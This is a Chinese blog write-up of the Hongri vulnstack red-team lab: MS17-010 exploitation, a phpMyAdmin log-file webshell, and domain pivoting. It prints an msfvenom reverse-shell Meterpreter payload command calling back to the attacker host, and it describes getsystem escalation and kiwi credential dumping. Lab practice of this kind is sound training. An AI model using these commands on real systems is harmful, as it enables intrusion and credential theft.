2021-7-7红日团队靶场一

这是第二次打靶场,也是实战第一次。写的比较详(luo)细(suo),看官莫怪。期间参考了很多资料,后来我也看了好几个,觉得谢公子大佬写的最详细,这里安利一波大佬神文:谢公子红日靶场一

一、环境配置+getshell

首先感谢红日安全团队分享的靶机实战环境。红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/

本文的目的是为了记录和巩固知识点,并分享出来,希望对大家能有所帮助。

首先下载地址:https://pan.baidu.com/share/init?surl=nC6V8e_EuKfaLb2IuEbe7w

提取码:n1u2

 开机密码:hongrisec@2019

1.1改密码

进去之后发现太久了密码要改,改为hongrisec@2020

1.2测试拓扑

2021-7-7红日团队靶场一_第1张图片

本次实验攻击者为kali:192.168.127.4 web服务器为win7(双卡:192.168.52.143  192.168.127.137)   内网机子win2008 R2:192.168.52.138  win2003:192.168.52.141 ,但是win7中的phpstudy无法打开,需要手动下载最新版才可以,接着测试连通性,内网主机2台可以相互ping通,pingweb服务器不通,但是web服务器ping 内网都行,说明内网防火墙正常运行。然后测试kali和web服务器,发现kali   ping不通web服务器,但是web服务器ping通kali。说明外网防火墙也开着。

这个时候觉得不合适,不对了,因为我外网都不通我怎么外网打点?所以关防火墙,我在web服务器中关闭了公用防火墙:

2021-7-7红日团队靶场一_第2张图片

再测试连同性:

kali ping web服务器:ok!

内网2台机子ping web服务器:no,,说明应该还是可以的,先做再说!

1.2信息收集外网打点

nmap,发现web服务器开了80和3306,135/137/445,那基本就是mysql,可以想到的就是爆破mysql后台爆破进去,然后sql 注入写shell然后getshell mysql提权后渗透,这是一种方法;还有就是直接永恒之蓝;最后一种就是看看80端口是什么cms有什么能用的已知的exp打。显然最后一种会比方法好很多:

2021-7-7红日团队靶场一_第3张图片

1.2.1方法一:永恒之蓝ms17-010 getshell

2021-7-7红日团队靶场一_第4张图片

2021-7-7红日团队靶场一_第5张图片

发现获取的shell是system权限,可以开启3386端口然后开启一个新用户登录(22端口也行,$ipc连接也行,wmic什么的穿个稳定后门也行,反正怎么舒服怎么来)。

NT Authority\System ,系统内置账号,对本地系统拥有完全控制权限;在工作组模式下,该账户不能网络资源;通常用于服务的运行,不需要密码。

NT Authority\Network Service ,系统内置账号,比 SYSTEM 账户权限要小,可以访问有限的本地系统资源;在工作组模式下,该账户能够以计算机的凭据来访问网络资源,默认为远程服务器的 EVERYONE 和 AUTHENTICATED USER 组的身份;通常用于服务运行,不需要密码。

NT Authority\Local Service ,系统内置账号,比 NETWORK SERVICE 账户权限要小,可以访问有限的本地系统资源;在工作组模式下,该账户只能以匿名方式访问网络资源;通常用于服务的运行,不需要密码。
2021-7-7红日团队靶场一_第6张图片

发现yxcms的东西:由于该机子没有wmic,所以只能$ipc拿到beifen.rar代码审计看漏洞,或者直接查yxcms已知漏洞。其实,到了这里,我们才真正知道,这是yxcms!

2021-7-7红日团队靶场一_第7张图片

1.2.2yycms的Nday

2021-7-7红日团队靶场一_第8张图片

2021-7-7红日团队靶场一_第9张图片

1.2.3mysql数据库写shell

burp suit 爆破得到账号密码都是root登录phpmyadmin:

2021-7-7红日团队靶场一_第10张图片

这里考虑mof提权和udf提权,建议优先考虑udf,可以看我的博客:mysql udf提权(二)

结果发现没法udf提权,因为secure_file_priv的值是NULL

2021-7-7红日团队靶场一_第11张图片

(这个地方写错了,其实应该先getshell的,但是考虑提权也是应该的,因为无法提权的getshell没有很大意义)

数据库getshell的方法有2:

1:into_outfile写shell

条件:需要secure_file_priv为允许

显然不行(注意,这里即使我们拥有phpmyadmin的root权限也不行,因为secure_file_priv是php服务器的设置)

2.日志getshell,把shell写在日志里面(因为日志一般都是可以操作的)

可以参考这篇我转的大佬的博客:phpMyAdmin利用日志文件GetSHELL

2021-7-7红日团队靶场一_第12张图片

2021-7-7红日团队靶场一_第13张图片

2021-7-7红日团队靶场一_第14张图片

2021-7-7红日团队靶场一_第15张图片

蚁剑成功getshell:

2021-7-7红日团队靶场一_第16张图片

二、内网渗透

进入了内网192.168.127.137的web服务器,发现当前用户是本地管理员权限,在域god.org内,还存在另一个网段192.168.52.0/24:

2021-7-7红日团队靶场一_第17张图片

2021-7-7红日团队靶场一_第18张图片

2021-7-7红日团队靶场一_第19张图片

net user administritors查看本地管理员组的成员:

结果没有返回结果,只好net user,发现应该是域管理员。(猜测)因为DNS主机是192.168.52.138,一般来说会把DNS服务器安装在域控DC上,所以我猜测192.168.52.138是DC

2.1抓取域控的账号密码

hashdump 需要系统级别的权限,user 提升到管理员之前有记录过,可以使用 uat、ms13_053、ms14_058、ms16_016、ms16_032 等等,这时的权限是管理员,在 meterpreter 下运行 hashdump 可能会报一个 priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. 的错误。关于管理员到系统级的提升,在国外一篇文章上看的思路不错,这里记一下,碰到这个问题可以试试。

1,首先可以使用 getprivs 命令,作用在于尽可能的获取更多的权限。

2,如果 getprivs 没有成功,则可以继续运行 getsystem 命令,作用在于利用各种可以提权的漏洞来提升自己的权限,如果是管理员,这个命令可能会提到 system。

3,如果 getsystem 也没有成功,可能 system 级别需要一个 64 的进程程序才可以运行相应的服务,那么可以 migrate 迁移进程到一个 64 位的程序。

4,如果以上不行,可以把 meterpreter 的进程再迁移到一个拥有 system 级别的进程上。关于 system 级别的进程,直接 ps 查看 id 即可。

总之,如果有错误,基本上是因为权限不够,需要为 system 的权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。ps 也可以查看 meterpreter 的权限级别。

为了方便使用我反弹到msf:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.127.4 lport=5555 -f exe -o 123.exe

2021-7-7红日团队靶场一_第20张图片

2021-7-7红日团队靶场一_第21张图片 

 

2021-7-7红日团队靶场一_第22张图片

提权:getprivs不行,要用getsystem,得到了系统管理员权限。。。

2021-7-7红日团队靶场一_第23张图片

如果想看明文密码,可以kiwi,如果想hash然后自己破解,那就run hashdump:

2021-7-7红日团队靶场一_第24张图片

我还是喜欢明文,所以猕猴桃下的kiwi不香吗?所以先把当前进程迁移到一个64位的system进程中,再次执行creds_all:

2021-7-7红日团队靶场一_第25张图片

2.2尝试用域控身份远程登录主机

由于很多net命令用不了,所以我们只能根据dns和web服务器是同一台,加上shell之后的一些命令,猜测:

2021-7-7红日团队靶场一_第26张图片

 首先只有一个主域,叫做GOD。

2021-7-7红日团队靶场一_第27张图片

然后这台机子当前用户是本地管理员,但是有三个用户身份,客户和刘凯峰01.本机叫做STU1.

 

2.3改路由挂代理进一步开拓内网思路

首先必须先改路由表,可以这么理解,以后挂代理,需要路由能通,如果路由不通,那么无法实现。

2021-7-7红日团队靶场一_第28张图片

这里需要解释一下,为什么要这么设置成0.0.0.0 首先我们必须知道路由表的使用方法,发来的目标地址ip和mask做“与”运算,得到的是下一跳,这里使用了缺省地址0.0.0.0,也就是说,所有经过本机路由的:(大佬的解释)

2021-7-7红日团队靶场一_第29张图片

2021-7-7红日团队靶场一_第30张图片

 

挂代理,但是这个时候有一个疑问:为何改了路由不行?还要挂代理?这篇文章给了很好的解释:

https://www.redhatzone.com/ask/article/1885.html

还有一个问题:进行有关dc处理的时候,rpc服务不可用1722,这时候可能是rpc服务没有开启,查一下相关资料就可以,在dc和win7都开启rpc即可。刚开可能还是不行,要多重复几次等待……

2021-7-7红日团队靶场一_第31张图片

接下来的方法就很多了,内网各种永恒之蓝ms17-010,PTH攻击,ms14-068,psexec。别的不说,端口扫描之后发现2003开了445,直接ms17-010:

 

2021-7-7红日团队靶场一_第32张图片

PTH打192.168.43.138:

2021-7-7红日团队靶场一_第33张图片

 

 

 

 

你可能感兴趣的:(各种靶场,web)